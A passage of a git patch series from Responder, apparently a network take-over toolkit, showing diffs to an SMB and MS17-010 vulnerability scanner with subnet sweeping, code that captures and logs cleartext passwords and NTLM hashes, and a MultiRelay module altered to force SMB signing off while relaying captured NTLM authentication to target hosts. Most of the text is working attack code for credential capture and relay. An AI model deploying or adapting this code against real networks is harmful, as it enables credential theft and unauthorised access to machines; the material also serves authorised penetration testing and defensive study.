def ShowResults(Host): print "Retrieving information for %s..."%Host[0] print "SMB signing:", Signing print "Null Sessions Allowed:", NullSess - print "Vulnerable to MS10-010:", Ms17010 + print "Vulnerable to MS17-010:", Ms17010 print "Server Time:", Time[1] print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient) print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined) From 97aeac26d8701ee0cc3b0c8bcdab8c943e06713b Mon Sep 17 00:00:00 2001 From: myst404 Date: Thu, 30 Nov 2017 16:05:14 +0100 Subject: [PATCH 020/219] Subnet support, error handling, minor improvements --- tools/FindSMB2UPTime.py | 69 +++++++++++++++++++++++++++-------------- 1 file changed, 45 insertions(+), 24 deletions(-) diff --git a/tools/FindSMB2UPTime.py b/tools/FindSMB2UPTime.py index 22f3f82..c39cce5 100755 --- a/tools/FindSMB2UPTime.py +++ b/tools/FindSMB2UPTime.py @@ -14,11 +14,11 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import sys +import re,sys,socket,struct import os import datetime -import struct -import socket +import multiprocessing +from socket import * sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))) from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq @@ -30,7 +30,7 @@ def GetBootTime(data): return time, time.strftime('%Y-%m-%d %H:%M:%S') -def IsDCVuln(t): +def IsDCVuln(t, host): Date = datetime.datetime(2014, 11, 17, 0, 30) if t[0] < Date: print "System is up since:", t[1] @@ -39,34 +39,55 @@ def IsDCVuln(t): if t[0] < Date: print "System is up since:", t[1] print "This system may be vulnerable to MS17-010" - print "DC is up since:", t[1] + print "Server", host[0], "is up since:", t[1] def run(host): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect(host) - s.settimeout(5) - - Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8") - Nego = SMB2NegoReq(Data = SMB2NegoDataReq()) - Nego.calculate() - - Packet = str(Header)+str(Nego) - Buffer = struct.pack(">i", len(Packet)) + Packet - s.send(Buffer) - + s = socket(AF_INET, SOCK_STREAM) + s.settimeout(5) try: + s.connect(host) + + Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8") + Nego = SMB2NegoReq(Data = SMB2NegoDataReq()) + Nego.calculate() + + Packet = str(Header)+str(Nego) + Buffer = struct.pack(">i", len(Packet)) + Packet + s.send(Buffer) + data = s.recv(1024) if data[4:5] == "\xff": - print "This host doesn't support SMBv2" + print "Server", host[0], "doesn't support SMBv2" if data[4:5] == "\xfe": - IsDCVuln(GetBootTime(data[116:124])) - except Exception: + IsDCVuln(GetBootTime(data[116:124]), host) + + except KeyboardInterrupt: s.close() - raise + sys.exit("\rExiting...") + except: + s.close() + pass + +def atod(a): + return struct.unpack("!L",inet_aton(a))[0] + +def dtoa(d): + return inet_ntoa(struct.pack("!L", d)) if __name__ == "__main__": if len(sys.argv)<=1: - sys.exit('Usage: python '+sys.argv[0]+' System-IP-address') - host = sys.argv[1],445 - run(host) + sys.exit('Usage: python '+sys.argv[0]+' 10.1.3.37\nor:\nUsage: python '+sys.argv[0]+' 10.1.3.37/24') + + m = re.search("/", str(sys.argv[1])) + if m : + net,_,mask = sys.argv[1].partition('/') + mask = int(mask) + net = atod(net) + threads = [] + for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): + p = multiprocessing.Process(target=run, args=((host,445),)) + threads.append(p) + p.start() + else: + run((str(sys.argv[1]),445)) From daaf6f7296ee754fe37b2382d0e459f7b6e74dcc Mon Sep 17 00:00:00 2001 From: Chris Maddalena Date: Tue, 5 Dec 2017 17:31:27 -0500 Subject: [PATCH 021/219] Fixed some small typos in MS17-010 output --- tools/RunFinger.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index bba8c07..c449026 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -228,9 +228,9 @@ def ShowResults(Host): print "Retrieving information for %s..."%Host[0] print "SMB signing:", Signing print "Null Sessions Allowed:", NullSess - print "Vulnerable to MS10-010:", Ms17010 + print "Vulnerable to MS17-010:", Ms17010 print "Server Time:", Time[1] - print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient) + print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient) print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined) except: pass From 750a2466d9629818804835babc302d5599e490c3 Mon Sep 17 00:00:00 2001 From: myst404 Date: Mon, 18 Jun 2018 10:59:52 +0200 Subject: [PATCH 022/219] Better handling of cleartext credentials --- utils.py | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/utils.py b/utils.py index 3620329..9357eb7 100644 --- a/utils.py +++ b/utils.py @@ -162,20 +162,23 @@ def SaveToDb(result): result[k] = '' if len(result['user']) < 2: + print color('[*] Skipping one character username: %s' % result['user'], 3, 1) + text("[*] Skipping one character username: %s" % result['user']) return - if len(result['cleartext']): - fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client']) - else: - fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client']) - - logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname) - cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets - res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user'])) + + if len(result['cleartext']): + fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client']) + res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext'])) + else: + fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client']) + res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user'])) + (count,) = res.fetchone() - + logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname) + if not count: with open(logfile,"a") as outf: if len(result['cleartext']): # If we obtained cleartext credentials, write them to file @@ -218,6 +221,9 @@ def SaveToDb(result): if settings.Config.AutoIgnore and not result['user'].endswith('$'): settings.Config.AutoIgnoreList.append(result['client']) print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1) + elif len(result['cleartext']): + print color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1) + text('[*] Skipping previously captured cleartext password for %s' % result['user']) else: print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1) text('[*] Skipping previously captured hash for %s' % result['user']) From 621c5a3c125646c14db19fc48f30e4075102c929 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Fri, 17 Aug 2018 11:51:18 +0200 Subject: [PATCH 023/219] Fix version number in settings.py --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index 0fae257..f5b5331 100644 --- a/settings.py +++ b/settings.py @@ -20,7 +20,7 @@ import subprocess from utils import * -__version__ = 'Responder 2.3.3.6' +__version__ = 'Responder 2.3.3.9' class Settings: From defabfa543f0b567d7e981003c7a00d7f02c3a16 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Fri, 17 Aug 2018 15:45:13 +0200 Subject: [PATCH 024/219] Fix multi HTTP responses --- servers/HTTP.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/servers/HTTP.py b/servers/HTTP.py index 4a3d3ca..07be043 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -294,6 +294,8 @@ class HTTP(BaseRequestHandler): line = line.strip() remaining = int(line.split(':')[1].strip()) - len(data) + if data == "": + break #now the data variable has the full request Buffer = WpadCustom(data, self.client_address[0]) From 4e70e95a8e7104b30c7c4abd29d67430924b78af Mon Sep 17 00:00:00 2001 From: MatToufoutu Date: Fri, 14 Sep 2018 00:19:17 +0200 Subject: [PATCH 025/219] allow to blacklist users --- tools/MultiRelay/RelayMultiCore.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tools/MultiRelay/RelayMultiCore.py b/tools/MultiRelay/RelayMultiCore.py index 71c6f68..ee2fa86 100644 --- a/tools/MultiRelay/RelayMultiCore.py +++ b/tools/MultiRelay/RelayMultiCore.py @@ -130,7 +130,10 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting): else: print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445))) - if User in UserToRelay or "ALL" in UserToRelay: + if ('!' + User) in UserToRelay: + print "[+] Username: %s is blacklisted, dropping connection." % User + return None, None + elif User in UserToRelay or "ALL" in UserToRelay: if Pivoting[0] == "1": return User, Domain print "[+] Username: %s is whitelisted, forwarding credentials."%(User) From 2287f936fdb80880d5fb1dda01fc95fba8a26c30 Mon Sep 17 00:00:00 2001 From: Markus Date: Mon, 22 Oct 2018 15:54:06 +0200 Subject: [PATCH 026/219] Update README.md: Fix typo Fixed just a tiny typo. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6b47702..285178d 100644 --- a/README.md +++ b/README.md @@ -80,7 +80,7 @@ All hashes are printed to stdout and dumped in an unique file John Jumbo complia Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v). -- Responder will logs all its activity to Responder-Session.log +- Responder will log all its activity to Responder-Session.log - Analyze mode will be logged to Analyze-Session.log - Poisoning will be logged to Poisoners-Session.log From 47e63ae4ec3266a35845d0bf116cf17fa0d17fd7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sun, 11 Nov 2018 09:46:15 -0300 Subject: [PATCH 027/219] removed debug string --- servers/HTTP.py | 1 - 1 file changed, 1 deletion(-) diff --git a/servers/HTTP.py b/servers/HTTP.py index 07be043..228e868 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -192,7 +192,6 @@ def PacketSequence(data, client, Challenge): if NTLM_Auth: Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] - print "Challenge 2:", Challenge.encode('hex') if Packet_NTLM == "\x01": GrabURL(data, client) GrabReferer(data, client) From 105502edd401615604e09a9a71a268252c82523d Mon Sep 17 00:00:00 2001 From: Paul A Date: Sun, 18 Nov 2018 12:41:15 +0100 Subject: [PATCH 028/219] Added proper changes to RunFinger (and is not checking for MS17-010 straight away) --- tools/RunFinger.py | 232 ++++++++++++++++++++------------------------- 1 file changed, 105 insertions(+), 127 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index c449026..2b88324 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -1,3 +1,7 @@ + if options.grep_output: + func = ShowSmallResults + else: + func = ShowResults #!/usr/bin/env python # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. @@ -22,22 +26,22 @@ from odict import OrderedDict import optparse from RunFingerPackets import * -__version__ = "0.7" +__version__ = "0.8" parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) -parser.add_option('-g','--grep', action="store_true", dest="Grep", default=False, help="Output in grepable format") +parser.add_option('-a','--all', action="store_true", help="Performs all checks (including MS17-010)", dest="all", default=False) +parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format") options, args = parser.parse_args() if options.TARGET is None: - print "\n-i Mandatory option is missing, please provide a target or target range.\n" + print("\n-i Mandatory option is missing, please provide a target or target range.\n") parser.print_help() exit(-1) Timeout = 2 Host = options.TARGET -Grep = options.Grep class Packet(): fields = OrderedDict([ @@ -78,27 +82,27 @@ def dtoa(d): return inet_ntoa(struct.pack("!L", d)) def OsNameClientVersion(data): - try: - length = struct.unpack(' 255: - OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]]) - return OsVersion, ClientVersion - if length <= 255: - OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) - return OsVersion, ClientVersion - except: - return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" + try: + length = struct.unpack(' 255: + OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]]) + return OsVersion, ClientVersion + if length <= 255: + OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) + return OsVersion, ClientVersion + except: + return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" def GetHostnameAndDomainName(data): - try: - DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) - Time = GetBootTime(data[60:68]) - #If max length domain name, there won't be a \x00\x00\x00 delineator to split on - if Hostname == '': - DomainJoined = data[81:110].replace('\x00','') - Hostname = data[113:].replace('\x00','') - return Hostname, DomainJoined, Time - except: - return "Could not get Hostname.", "Could not get Domain joined" + try: + DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) + Time = GetBootTime(data[60:68]) + #If max length domain name, there won't be a \x00\x00\x00 delineator to split on + if Hostname == '': + DomainJoined = data[81:110].replace('\x00','') + Hostname = data[113:].replace('\x00','') + return Hostname, DomainJoined, Time + except: + return "Could not get Hostname.", "Could not get Domain joined" def DomainGrab(Host): s = socket(AF_INET, SOCK_STREAM) @@ -150,73 +154,54 @@ def SmbFinger(Host): pass -def SmbNullSession(Host): +def check_ms17_010(host): s = socket(AF_INET, SOCK_STREAM) try: - s.settimeout(Timeout) - s.connect(Host) - except: - pass + s.settimeout(Timeout) + s.connect(Host) + h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8") + n = SMBNego(Data = SMBNegoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(buffer0) + data = s.recv(2048) + if data[8:10] == "\x75\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00") + t = SMBTransRAPData() + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + if data[9:13] == "\x05\x02\x00\xc0": + return True + else: + return False + else: + return False + except Exception as err: + return False - try: - h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8") - n = SMBNego(Data = SMBNegoData()) - n.calculate() - packet0 = str(h)+str(n) - buffer0 = longueur(packet0)+packet0 - s.send(buffer0) - data = s.recv(2048) - try: - if data[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x53\xc8") - t = SMBSessionData() - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - data = s.recv(2048) - if data[8:10] == "\x73\x16": - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",uid=data[32:34],mid="\x80\x00") - t = SMBSession2() - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - data = s.recv(2048) - - if data[8:10] == "\x73\x00": - head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],mid="\xc0\x00") - t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$") - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - data = s.recv(2048) - - if data[8:10] == "\x75\x00": - global Guest - Guest = True - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00") - t = SMBTransRAPData() - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - data = s.recv(2048) - if data[9:13] == "\x05\x02\x00\xc0": - return Guest, True - else: - return Guest, False - else: - return False, False - except Exception: - pass - - except: - pass +def check_smb_null_session(host): + s = socket(AF_INET, SOCK_STREAM) + try: + s.settimeout(Timeout) + s.connect(host) + h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8") + n = SMBNego(Data = SMBNegoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(buffer0) + data = s.recv(2048) + if data[8:10] == "\x75\x00": + return True + else: + return False + except Exception: + return False ################## #run it @@ -224,14 +209,15 @@ def ShowResults(Host): try: Hostname, DomainJoined, Time = DomainGrab(Host) Signing, OsVer, LanManClient = SmbFinger(Host) - NullSess, Ms17010 = SmbNullSession(Host) - print "Retrieving information for %s..."%Host[0] - print "SMB signing:", Signing - print "Null Sessions Allowed:", NullSess - print "Vulnerable to MS17-010:", Ms17010 - print "Server Time:", Time[1] - print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient) - print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined) + NullSess = check_smb_null_session(Host) + Ms17010 = check_ms17_010(Host) + print ("Retrieving information for %s..."%Host[0]) + print ("SMB signing:", Signing) + print ("Null Sessions Allowed:", NullSess) + print ("Vulnerable to MS17-010:", Ms17010) + print ("Server Time:", Time[1]) + print ("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)) + print ("Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)) except: pass @@ -246,40 +232,32 @@ def ShowSmallResults(Host): try: Hostname, DomainJoined, Time = DomainGrab(Host) Signing, OsVer, LanManClient = SmbFinger(Host) - NullSess, Ms17010 = SmbNullSession(Host) - Message = "['%s', Os:'%s', Domain:'%s', Signing:'%s', Time:'%s', Null Session: %s, MS17-010: %s]"%(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, Ms17010) - print Message - except: - raise - pass - -def IsGrepable(): - if options.Grep: - return True - else: - return False + NullSess = check_smb_null_session(Host) + Ms17010 = check_ms17_010(Host) + message_ms17010 = ", MS17-010: {}".format(Ms17010) + print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {} {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, message_ms17010)) + except Exception as err: + pass def RunFinger(Host): m = re.search("/", str(Host)) - if m : - net,_,mask = Host.partition('/') - mask = int(mask) - net = atod(net) - threads = [] - for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): - if IsGrepable(): - p = multiprocessing.Process(target=ShowSmallResults, args=((host,445),)) - threads.append(p) - p.start() - else: - p = multiprocessing.Process(target=ShowResults, args=((host,445),)) - threads.append(p) - p.start() + if m: + net,_,mask = Host.partition('/') + mask = int(mask) + net = atod(net) + threads = [] + if options.grep_output: + func = ShowSmallResults + else: + func = ShowResults + for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): + p = multiprocessing.Process(target=func, args=((host,445),)) + threads.append(p) + p.start() else: - if IsGrepable(): - ShowSmallResults((Host,445)) - else: - ShowResults((Host,445)) - -RunFinger(Host) + if options.grep_output: + ShowSmallResults((Host,445)) + else: + ShowResults((Host,445)) +RunFinger(Host) \ No newline at end of file From 38e721da9826b95ed3599151559e8f8c535e4d6e Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 28 Nov 2018 21:07:39 -0300 Subject: [PATCH 029/219] fixed minor bugfix on recent merge --- tools/RunFinger.py | 49 ++++++++++++++++++++++++++++------------------ 1 file changed, 30 insertions(+), 19 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 2b88324..0c5c02e 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -1,7 +1,3 @@ - if options.grep_output: - func = ShowSmallResults - else: - func = ShowResults #!/usr/bin/env python # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. @@ -42,6 +38,7 @@ if options.TARGET is None: Timeout = 2 Host = options.TARGET +MS17010Check = options.all class Packet(): fields = OrderedDict([ @@ -210,14 +207,22 @@ def ShowResults(Host): Hostname, DomainJoined, Time = DomainGrab(Host) Signing, OsVer, LanManClient = SmbFinger(Host) NullSess = check_smb_null_session(Host) - Ms17010 = check_ms17_010(Host) - print ("Retrieving information for %s..."%Host[0]) - print ("SMB signing:", Signing) - print ("Null Sessions Allowed:", NullSess) - print ("Vulnerable to MS17-010:", Ms17010) - print ("Server Time:", Time[1]) - print ("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)) - print ("Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)) + if MS17010Check: + Ms17010 = check_ms17_010(Host) + print "Retrieving information for %s..."%Host[0] + print "SMB signing:", Signing + print "Null Sessions Allowed:", NullSess + print "Vulnerable to MS17-010:", Ms17010 + print "Server Time:", Time[1] + print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient) + print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined) + else: + print "Retrieving information for %s..."%Host[0] + print "SMB signing:", Signing + print "Null Sessions Allowed:", NullSess + print "Server Time:", Time[1] + print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient) + print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined) except: pass @@ -230,12 +235,18 @@ def ShowSmallResults(Host): return False try: - Hostname, DomainJoined, Time = DomainGrab(Host) - Signing, OsVer, LanManClient = SmbFinger(Host) - NullSess = check_smb_null_session(Host) - Ms17010 = check_ms17_010(Host) - message_ms17010 = ", MS17-010: {}".format(Ms17010) - print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {} {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, message_ms17010)) + if MS17010Check: + Hostname, DomainJoined, Time = DomainGrab(Host) + Signing, OsVer, LanManClient = SmbFinger(Host) + NullSess = check_smb_null_session(Host) + Ms17010 = check_ms17_010(Host) + message_ms17010 = ", MS17-010: {}".format(Ms17010) + print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {} {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, message_ms17010)) + else: + Hostname, DomainJoined, Time = DomainGrab(Host) + Signing, OsVer, LanManClient = SmbFinger(Host) + NullSess = check_smb_null_session(Host) + print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess)) except Exception as err: pass @@ -260,4 +271,4 @@ def RunFinger(Host): else: ShowResults((Host,445)) -RunFinger(Host) \ No newline at end of file +RunFinger(Host) From c99c9edf1945f293c5d651692e60cd12fcb45cfc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Wed, 9 Jan 2019 19:16:52 +0100 Subject: [PATCH 030/219] Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 --- servers/SMB.py | 28 +--------------------------- 1 file changed, 1 insertion(+), 27 deletions(-) diff --git a/servers/SMB.py b/servers/SMB.py index 1561871..e2bbd90 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -135,32 +135,6 @@ def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2 'fullhash': WriteHash, }) - -def ParseSMB2NTLMv2Hash(data,client, Challenge): #Parse SMB NTLMv2 - SSPIStart = data[113:] - data = data[113:] - LMhashLen = struct.unpack(' Date: Tue, 15 Jan 2019 16:18:47 -0300 Subject: [PATCH 031/219] Enhanced flags2 to force SMB signature off --- tools/MultiRelay.py | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/tools/MultiRelay.py b/tools/MultiRelay.py index 1ecb71d..ac34d3d 100755 --- a/tools/MultiRelay.py +++ b/tools/MultiRelay.py @@ -225,7 +225,7 @@ class HTTPProxyRelay(BaseRequestHandler): if Packet_NTLM == "\x01": ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. - h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") + h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8") n = SMBNegoCairo(Data = SMBNegoCairoData()) n.calculate() packet0 = str(h)+str(n) @@ -234,7 +234,7 @@ class HTTPProxyRelay(BaseRequestHandler): smbdata = s.recv(2048) ##Session Setup AndX Request, NTLMSSP_NEGOTIATE if smbdata[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00") t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# t.calculate() packet1 = str(head)+str(t) @@ -265,7 +265,7 @@ class HTTPProxyRelay(BaseRequestHandler): Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) if Username is not None: - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00") t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t.calculate() packet1 = str(head)+str(t) @@ -322,7 +322,7 @@ class HTTPRelay(BaseRequestHandler): if Packet_NTLM == "\x01": ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. - h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") + h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8") n = SMBNegoCairo(Data = SMBNegoCairoData()) n.calculate() packet0 = str(h)+str(n) @@ -331,7 +331,7 @@ class HTTPRelay(BaseRequestHandler): smbdata = s.recv(2048) ##Session Setup AndX Request, NTLMSSP_NEGOTIATE if smbdata[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00") t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# t.calculate() packet1 = str(head)+str(t) @@ -362,7 +362,7 @@ class HTTPRelay(BaseRequestHandler): Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) if Username is not None: - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00") t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t.calculate() packet1 = str(head)+str(t) @@ -377,7 +377,7 @@ class HTTPRelay(BaseRequestHandler): return None else: - ##Any other type of request, send a 407. + ##Any other type of request, send a 401. Response = IIS_Auth_401_Ans() self.request.send(str(Response)) @@ -404,7 +404,7 @@ class SMBRelay(BaseRequestHandler): ##Negotiate proto answer. That's us. if data[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc7", pid=pidcalc(data),mid=midcalc(data)) + head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x43\xc8", pid=pidcalc(data),mid=midcalc(data)) t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data)) packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 @@ -420,7 +420,7 @@ class SMBRelay(BaseRequestHandler): if data.find("NTLM") is not -1: ##Relay all that to our client. if data[8:10] == "\x73\x00": - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) #NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange. #Then simply grab the whole session setup packet except the smb header from the client and pass it to the server. t = smbdata[36:] @@ -435,7 +435,7 @@ class SMBRelay(BaseRequestHandler): if IsSMBAnonymous(data): ##Send logon failure for anonymous logins. - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) t = SMBSessEmpty() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 @@ -449,7 +449,7 @@ class SMBRelay(BaseRequestHandler): Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting) if Username is not None: ##Got the ntlm message 3, send it over to SMB. - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00") t = data[36:]#Final relay. packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 @@ -470,7 +470,7 @@ class SMBRelay(BaseRequestHandler): else: ##Send logon failure, so our client might authenticate with another account. - head = SMBHeader(cmd="\x73",flag1="\x98", 